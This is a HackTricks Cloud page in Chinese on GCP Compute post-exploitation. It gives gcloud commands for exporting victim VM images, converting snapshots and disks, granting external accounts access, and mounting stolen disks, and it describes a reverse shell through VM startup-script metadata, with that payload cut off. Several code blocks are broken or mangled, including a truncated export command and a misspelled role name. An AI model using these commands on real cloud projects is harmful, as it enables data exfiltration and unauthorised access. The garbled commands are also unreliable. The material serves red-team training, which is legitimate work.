GCP - Compute Post Exploitation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Compute
有关 Compute 和 VPC (Networking) 的更多信息,请查看:
在本地导出并检查镜像
这将允许攻击者访问已存在镜像中包含的数据或创建正在运行的 VMs 的新镜像并在不访问正在运行的 VM 的情况下访问它们的数据。
可以将 VM 镜像导出到 bucket,然后下载并使用以下命令在本地挂载:
导出并下载 VM 镜像
```bash gcloud compute images export --destination-uri gs://在执行此操作之前,攻击者可能需要对存储桶拥有权限,并且肯定需要对 cloudbuild 的权限,因为它是将被要求执行导出的 服务\
此外,为了使其生效,codebuild SA 和 compute SA 需要特权权限。\
cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com 需要:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
而 SA <project-id>-compute@developer.gserviceaccount.com 需要:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
导出并在本地检查 Snapshots & Disks
无法直接导出快照和磁盘,但可以 将快照转换为磁盘,将磁盘转换为镜像,并按照 上一节,导出该镜像以在本地进行检查
从 snapshot 创建磁盘并从磁盘创建镜像
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### 检查用于创建 VM 的 image
为了访问**存储在 image 中的数据**,或访问攻击者**已创建 image,** 的**正在运行的 VM**内部的数据,可以将对该 image 的访问权限授予外部账户:
<details>
<summary>授予对 image 的访问并创建 VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
然后从它创建一个新的 VM:
从镜像创建 VM 实例
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```如果你无法为你的外部账户通过 image 授予访问,你可以在受害者项目中使用该 image 启动一个 VM,并让元数据执行 reverse shell来访问该 image,添加参数:
在元数据中创建带 reverse shell 的 VM
```bash --metadata startup-script='#! /bin/bash echo "hello";检查快照/磁盘并将其附加到 VM
为了访问磁盘或快照中存储的数据,您可以将快照转换为磁盘,或将磁盘转换为镜像,然后按照前面的步骤操作。
或者您可以将对磁盘的访问权限授予外部账户(如果起点是快照,请对快照授予访问权限或先从快照创建磁盘):
授予磁盘访问权限
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```附加磁盘 到实例:
将磁盘附加到实例
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```在 VM 内挂载磁盘:
- SSH 进入 VM:
SSH 到 VM 并挂载磁盘
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- 识别磁盘:进入 VM 后,通过列出磁盘设备来识别新磁盘。通常,你会看到
/dev/sdb、/dev/sdc等设备。 - 格式化并挂载磁盘(如果它是新的或原始磁盘):
- 创建挂载点:
创建挂载点并挂载
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- 挂载磁盘:
挂载磁盘设备
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
如果你无法向外部项目授予对快照或磁盘的访问权限,你可能需要在与快照/磁盘相同项目的实例内执行这些操作。
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

